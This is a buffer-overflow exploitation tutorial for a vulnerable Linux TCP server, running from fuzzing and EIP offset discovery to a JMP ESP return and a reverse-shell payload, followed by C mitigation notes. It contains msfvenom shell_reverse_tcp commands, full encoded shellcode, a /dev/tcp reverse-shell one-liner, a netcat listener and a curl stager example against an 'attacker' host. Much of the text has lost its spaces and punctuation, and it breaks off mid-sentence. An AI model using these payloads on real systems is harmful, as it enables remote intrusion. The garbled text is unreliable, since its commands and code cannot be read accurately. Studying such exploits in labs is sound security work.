ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
